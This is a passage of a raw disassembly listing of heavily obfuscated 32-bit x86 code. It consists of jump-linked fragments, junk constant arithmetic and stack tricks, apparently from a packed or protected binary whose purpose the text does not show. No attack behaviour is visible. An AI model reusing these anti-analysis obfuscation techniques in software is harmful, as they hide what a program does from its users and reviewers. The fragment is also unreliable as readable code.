[esp+0], ecx jmp loc_59A340 ; END OF FUNCTION CHUNK FOR sub_5A405F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5648 loc_5A761D: ; CODE XREF: sub_5A5648-680Fj pop eax jmp loc_5AE3F3 ; END OF FUNCTION CHUNK FOR sub_5A5648 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_5A7623: ; CODE XREF: sub_5A9B1D+948j mov ebx, [esp+0] add esp, 4 add ebp, ebx add ebp, 16FB1143h pop ebx xchg ebp, [esp-8+arg_4] pop esp jmp loc_5AD0FB ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5A763E: ; CODE XREF: sub_59E94B+BCE0j xor edi, [esp+0] mov esp, [esp+0] cmp cl, al pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A764C: ; CODE XREF: sub_5AA2D1-78F0j mov ebx, esp push edi mov edi, 57C76F78h add edi, 5DE20963h jmp loc_59FEB8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A765F proc near ; CODE XREF: sub_5A491A-6E7Fj var_8 = dword ptr -8 arg_0 = word ptr 4 arg_4 = word ptr 8 ; FUNCTION CHUNK AT 0059BA28 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059CAEF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A274E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A4B10 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AB0DA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AC165 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AEE08 SIZE 00000013 BYTES push ebx mov ebx, 0F1528D1h dec ebx not ebx dec ebx not ebx shr ebx, 6 shr ebx, 6 jmp loc_5A274E sub_5A765F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A7676: ; CODE XREF: sub_5A9EBF-17F4j mov [esp+0Ch+var_C], ebp jmp loc_59C8A5 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A767E: ; CODE XREF: sub_5A2E28-4E8j sub ecx, 5826004Eh push eax mov eax, 8BFE8A9Dh sub ecx, eax pop eax sub edi, ecx pop ecx jmp loc_5AD26A ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A041B loc_5A7695: ; CODE XREF: sub_5A041B+38j pop esi jmp loc_5A4F36 ; END OF FUNCTION CHUNK FOR sub_5A041B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5A769B: ; CODE XREF: sub_59F1F3+Ej inc edi jg loc_5AAE6C jmp loc_5AC370 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- push 54A6h mov [esp], esi sub al, 0CDh ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5A76B1: ; CODE XREF: sub_59F1F3+43C7j sub ebx, 4 jmp sub_5A12E6 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A76B9: ; CODE XREF: sub_5AA2D1-B3B3j pop esp xor bx, ax movzx eax, ax push small 56B2h jmp loc_5A5127 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5A76C9: ; CODE XREF: sub_5A913B-3DCBj ; DATA XREF: sub_5AF46F-1230Ao ... mov edx, 1E136ABDh jmp loc_59C4FC ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- loc_5A76D3: ; CODE XREF: sdfs____:005AB43Dj mov [esp], ebx mov ebx, 4 sub edx, 5F181C26h add edx, ebx push edi mov edi, 2F5F1F05h shr edi, 2 dec edi push ebp mov ebp, 422422DDh or ebp, 22226E94h xchg esi, ebp push esi jmp loc_5AC9E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A7701: ; CODE XREF: sub_5AC803-7225j ; sub_59EE3E+C00Bj xor ebp, 70EF0FB3h jmp loc_5AD6B8 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A770C: ; CODE XREF: sub_5AF2D9-E56Dj mov esp, [esp+0Ch+var_C] mov [esp+0Ch+var_C], ebx mov ebx, 4 add ecx, 76C55475h jmp loc_59BBCE ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A7722: ; CODE XREF: sub_5A7BA0+Ej pop dword ptr [esp+0] jmp loc_5A3DC1 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A772A: ; CODE XREF: sub_59CBE1+9290j ; sub_5992DA+DBC6j mov [esp+0], ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 add ebp, edx pop edx xchg ebp, [esp+0] jmp loc_599BEA ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; =============== S U B R O U T I N E ======================================= sub_5A7746 proc near ; CODE XREF: sub_5A0FFF+CB8j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059A6C4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059CC5F SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059D5AF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059D83C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A1FCE SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005A23D8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A3649 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A61FB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A75D0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A7BF4 SIZE 00000007 BYTES push ebp xor [esp+4+var_4], 2C84265Fh pop ecx jmp loc_59A6C4 sub_5A7746 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A7754: ; CODE XREF: sub_5A2E41-5110j pop ebx add edx, 38C2204Fh sub eax, edx jmp loc_599BA8 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; =============== S U B R O U T I N E ======================================= sub_5A7762 proc near ; CODE XREF: sub_5A66E1+4j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A103D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A776E SIZE 00000012 BYTES sub esp, 4 mov [esp+4+var_4], eax push esp jmp loc_5A103D sub_5A7762 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7762 loc_5A776E: ; CODE XREF: sub_5A7762-671Fj push 3893h mov [esp+8+var_8], esi mov esi, 296064D3h jmp loc_59BA5C ; END OF FUNCTION CHUNK FOR sub_5A7762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7780: ; CODE XREF: sub_5AA2D1-9AA7j shl ebx, 3 add ebx, 845DFAC4h push 2C03h mov [esp+10h+var_10], edi mov edi, 297A2AC4h add eax, edi pop edi add eax, ebx sub eax, 297A2AC4h push [esp+0Ch+var_C] pop ebx add esp, 4 jmp loc_5A670A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A77AC: ; CODE XREF: sub_5A477C:loc_59F67Fj push edi jmp loc_59D56B ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A77B2: ; CODE XREF: sub_5AA2D1-EAE5j add edx, 4 xchg edx, [esp+4+var_4] pop esp push 766Fh mov [esp+4+var_4], esi jmp loc_5ACFEF ; --------------------------------------------------------------------------- loc_5A77C9: ; CODE XREF: sub_5AEC1C-E6E2j ; sub_5AA2D1+5F6Fj mov bh, 4 mov al, 28h sub al, bh pop ebx jmp loc_5A71C6 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A77D5 proc near ; CODE XREF: sub_5992DA+C70Aj ; sub_5992DA+EFA9j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059B25C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B510 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059C091 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059E134 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A0777 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A158E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A1878 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A1C1D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A2142 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A2195 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A32BE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A56AD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A5F94 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A6336 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A9B45 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AAA9A SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005AB3FA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AB47F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AB99E SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005ABB34 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AD956 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AF5B3 SIZE 00000008 BYTES push ebx mov ebx, 171B31C7h shl ebx, 8 or ebx, 6ECE0F0Dh neg ebx add ebx, 0D3AD2B0Eh add eax, ebx jmp loc_59E134 sub_5A77D5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A77F3: ; CODE XREF: sub_5992DA+9B3Cj mov ebp, 446A3431h xor ebp, 446A3430h jmp loc_5A19F7 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A405F loc_5A7803: ; CODE XREF: sub_5A405F+A749j xor eax, 1C7E2BE8h xor ecx, eax pop eax inc ecx sub ecx, 0EBD3CE16h add ebx, ecx pop ecx xchg ebx, [esp+0] mov esp, [esp+0] mov ax, [esp-8+arg_4] push ebx mov ebx, esp sub esp, 4 jmp loc_5A7615 ; END OF FUNCTION CHUNK FOR sub_5A405F ; --------------------------------------------------------------------------- loc_5A782D: ; CODE XREF: sdfs____:005AE9AAj pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_59910F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A783F: ; CODE XREF: sub_59A479+158A8j jge loc_5A6C30 xor eax, 4FEC8778h jmp loc_5A9089 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_5A784F: ; CODE XREF: sub_5B0377-5931j mov ecx, 2CA71FD0h sub ecx, 6E273517h add ecx, 1FF04106h or ecx, 762193Dh xor ecx, 0AB235698h sub edi, ecx pop ecx inc edi shr edi, 1 push 0D80h jmp loc_59C3DF ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_5A787C: ; CODE XREF: sub_59B2E4+10FC7j mov ecx, [esp+0Ch+var_C] add esp, 4 xor esi, [esp+8+var_8] xor [esp+8+var_8], esi jmp loc_5AF40A ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_5A7890: ; CODE XREF: sub_5A21A4-2E33j mov [esp+0], ebx mov ebx, esp add ebx, 4 add ebx, 4 push 4549h mov [esp-0Ch+arg_8], ebx push dword ptr [esp+4] mov ebx, [esp-8+arg_4] push esi jmp loc_5A9111 ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A78B3: ; CODE XREF: sub_59EE3E+167Ej sub edi, 531910AFh sub edi, ebp add edi, 531910AFh pop ebp push esi push 53BA7C71h mov esi, [esp+0] jmp loc_5A8373 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A78D0: ; CODE XREF: sub_5992DA+9C28j ; sub_5AA2D1+4503j neg esi jmp loc_5AAAFC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A78D7: ; CODE XREF: sub_5A6BBC+523Dj mov [esp+4+var_4], edi mov edi, 656C1BD1h neg edi jns loc_5A3C86 and edi, 0BFB0A92h xor edi, 5BAA540Ah dec edi not edi xor edi, 0D918DC01h jmp loc_59FE35 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_5A7901: ; CODE XREF: sub_5AAB66-F4CEj mov edx, 2C2B62CDh shl edx, 6 xor edx, 69E689C1h add ebx, edx pop edx sub ebx, 0C033F3B7h add edx, ebx pop ebx jmp loc_5A275B ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8C5C loc_5A7920: ; CODE XREF: sub_5A8C5C-C0CDj push eax mov eax, esp push ebx mov ebx, 4 jmp loc_5A510A ; END OF FUNCTION CHUNK FOR sub_5A8C5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_5A792E: ; CODE XREF: sub_59FB1A+4A80j push 6E74h jmp loc_5AF300 ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7938: ; CODE XREF: sub_5AA2D1-F55Bj add dl, al jmp loc_5AC1B2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A793F: ; CODE XREF: sub_59A479+6F34j push ecx mov ecx, eax mov edi, ecx jmp loc_5AB837 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A7949: ; CODE XREF: sub_5AD795-12A81j mov esp, [esp+4+var_4] push 6896h mov [esp-4+arg_0], ebx push 86Ah mov [esp+0], edi jmp loc_5A8593 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A7961: ; CODE XREF: sub_59D6B8+9374j sub edx, 2B055050h sub edx, eax add edx, 2B055050h push 7346h mov [esp+0Ch+var_C], edi mov edi, 36F423D8h add edx, edi push [esp+0Ch+var_C] jmp loc_5A480B ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAF7A loc_5A7986: ; CODE XREF: sub_5AAF7A-9ED4j mov ebx, 62547DF8h push eax mov eax, 433A24DCh neg eax xor eax, 262266DEh jmp loc_5AE54E ; END OF FUNCTION CHUNK FOR sub_5AAF7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8C5C loc_5A799D: ; CODE XREF: sub_5A8C5C-3B3Aj add eax, ebp sub eax, 44D92EF3h mov ebp, [esp-8+arg_4] add esp, 4 push eax push [esp-8+arg_8] pop eax pop [esp-8+arg_4] pop esp push [esp-10h+arg_C] pop eax push ebx jmp loc_5A754E ; END OF FUNCTION CHUNK FOR sub_5A8C5C ; =============== S U B R O U T I N E ======================================= sub_5A79BE proc near ; CODE XREF: sub_5AA2D1-DE2j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00599FFA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059A017 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059AB42 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059B749 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059BC20 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059BF93 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059BFD6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059DA02 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059E2EA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E7CD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059F56C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059F842 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A0EA3 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A1048 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A175B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A25D4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A2A2E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2FE8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A34D5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A3F10 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A53C2 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A55E3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A5638 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A662B SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A7E0D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A821B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A8984 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A8BF2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A937C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9457 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9582 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A998F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A9C5C SIZE 0000003C BYTES ; FUNCTION CHUNK AT 005AA37F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AA53A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AAB8C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AB536 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005ABF68 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AC116 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AC7B5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AC978 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005AD157 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AE436 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AF71D SIZE 00000020 BYTES push ebp mov ebp, 7380666Bh add ebx, ebp pop ebp add ebx, eax sub ebx, 7380666Bh sub ebx, 4D60FBEh sub esp, 4 mov [esp+0], ecx jmp loc_59BF93 sub_5A79BE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A79E3: ; CODE XREF: sub_5AA2D1-503Aj add edi, 4 add edi, 4 xchg edi, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] pop [esp+2+var_4+2] mov esp, [esp+0] movzx ecx, al push edx jmp sub_59A26C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A7A01: ; CODE XREF: sub_5A477C+1D66j sub edi, 8270527h jmp loc_5A5B09 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA83C loc_5A7A0C: ; CODE XREF: sub_5AA83C+19j push esp pop ecx jmp loc_59E387 ; END OF FUNCTION CHUNK FOR sub_5AA83C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A7A13: ; CODE XREF: sub_5A5EFF+A457j xor ebp, eax pop eax shl ebp, 4 js loc_5A6BD3 inc ebp js loc_5A5340 jmp loc_59CC7F ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; =============== S U B R O U T I N E ======================================= sub_5A7A2B proc near ; DATA XREF: sdfs____:00599078o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059DEA1 SIZE 00000007 BYTES mov ax, [esp+0] push 799Bh mov [esp+4+var_4], ecx jmp loc_59DEA1 sub_5A7A2B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A7A3C: ; CODE XREF: sub_5A477C-724Dj mov edx, [esp-4+arg_0] add esp, 4 push 6C4Eh mov [esp-4+arg_0], ebp jmp loc_5A0AD3 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7A4F: ; CODE XREF: sub_5AA2D1-FE6Aj pop small word ptr [edi+eax*4] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A7A58: ; CODE XREF: sub_5A6BBC+1BA5j pop esp jmp loc_5AFE47 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A7A5E: ; CODE XREF: sub_5A477C-2313j shr ecx, 2 jmp loc_5A6085 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7A66: ; CODE XREF: sub_5AA2D1-F045j mov edi, 1C6449C4h jmp loc_5A6015 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAAD5 loc_5A7A70: ; CODE XREF: sub_5AAAD5-DE3Aj push eax mov eax, 3A2248F9h add eax, 35EF78E7h jmp loc_5A7092 ; END OF FUNCTION CHUNK FOR sub_5AAAD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_5A7A80: ; CODE XREF: sub_5A8215-92CEj push ecx mov ecx, 4 add edi, 4C8234D5h sub edi, 19B02D7Ah sub edi, ecx add edi, 19B02D7Ah push eax mov eax, 77DE3CFAh xor eax, 40F9376Ch or eax, 46430D7Eh shl eax, 6 xor eax, 9541CB55h sub edi, eax pop eax pop ecx xchg edi, [esp+0] pop esp mov [esp-4+arg_0], edi push esp pop edi push 7CD4h mov [esp+0], esi jmp loc_5AFC14 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7ACC: ; CODE XREF: sub_5AA2D1+499Ej mov [esp+0Ah+var_C+2], edi mov edi, 7B064ACh jmp loc_5AD089 ; --------------------------------------------------------------------------- loc_5A7AD9: ; CODE XREF: sub_5AA2D1-4C9Ej add esi, 4 add esi, 2 xchg esi, [esp+2+var_4+2] pop esp jmp loc_59BD20 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2AFE loc_5A7AEB: ; CODE XREF: sub_5A2AFE-932j sub esi, ebx pop ebx add esi, ebp jmp loc_5AF6B7 ; END OF FUNCTION CHUNK FOR sub_5A2AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A7AF5: ; CODE XREF: sub_5A0AA2-5B48j sub ch, 36h add ch, 0B0h push ebx mov bh, ch mov ah, bh pop ebx pop ecx shl ah, 8 jmp sub_5A24B6 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A7B0A: ; CODE XREF: sub_59C979+A00j pop ebp neg eax neg eax not eax jmp loc_59D2CC ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5A7B16: ; CODE XREF: sub_5A16B8+21FEj add ebx, edi add ebx, 15543848h jmp loc_5ABC4E ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7B23: ; CODE XREF: sub_5AA2D1-EC7j jmp loc_59F322 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A26E8 loc_5A7B28: ; CODE XREF: sub_5A26E8-558j pop ecx push edi jmp loc_5A2254 ; END OF FUNCTION CHUNK FOR sub_5A26E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A7B2F: ; CODE XREF: sub_59A9E9+EDFAj add ebx, 18649C5h add ebx, eax sub ebx, 18649C5h mov eax, [esp+8+var_8] jmp loc_5A0D8A ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A7B45: ; CODE XREF: sub_59A26C+12D7Ej ; sub_5A522E+86FBj add ecx, eax jmp loc_59B62C ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5A7B4C: ; CODE XREF: sub_59F1F3+60F1j push ecx mov ecx, 57BE6FF7h jmp loc_5A3650 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7B57: ; CODE XREF: sub_5AA2D1+2BE5j shl edi, 8 dec edi jmp loc_5AC1B9 ; --------------------------------------------------------------------------- loc_5A7B60: ; CODE XREF: sub_5AA2D1-FD4Bj pop eax jmp loc_59E37C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB82 loc_5A7B66: ; CODE XREF: sub_59DB82+B48Ej push [esp+arg_0] pop eax jmp loc_5A66B6 ; END OF FUNCTION CHUNK FOR sub_59DB82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF8FF loc_5A7B70: ; CODE XREF: sub_5AF8FF-FF9Dj mov esi, [esp+4+var_4] push edx mov edx, esp push ebp jmp loc_5A0EC4 ; END OF FUNCTION CHUNK FOR sub_5AF8FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F074 loc_5A7B7C: ; CODE XREF: sub_59F074-46B4j shl [esp-4+arg_0], cl pushf jmp loc_5AD9C4 ; END OF FUNCTION CHUNK FOR sub_59F074 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A7B85: ; CODE XREF: sub_59C979+880Ej add bl, cl pop cx add bl, 4Bh sub bl, al sub bl, 4Bh push 26FAh mov [esp-0Ah+arg_6], ecx mov cl, 61h jmp loc_5AE24D ; END OF FUNCTION CHUNK FOR sub_59C979 ; =============== S U B R O U T I N E ======================================= sub_5A7BA0 proc near ; CODE XREF: sub_5AA2D1-9511j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005996B1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005998F4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00599D28 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00599FDF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059A049 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059A2C3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059C346 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0059C745 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059D64C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059DE6B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059E03D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059ECEF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A06D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A08B6 SIZE 0000001D BYTES ; 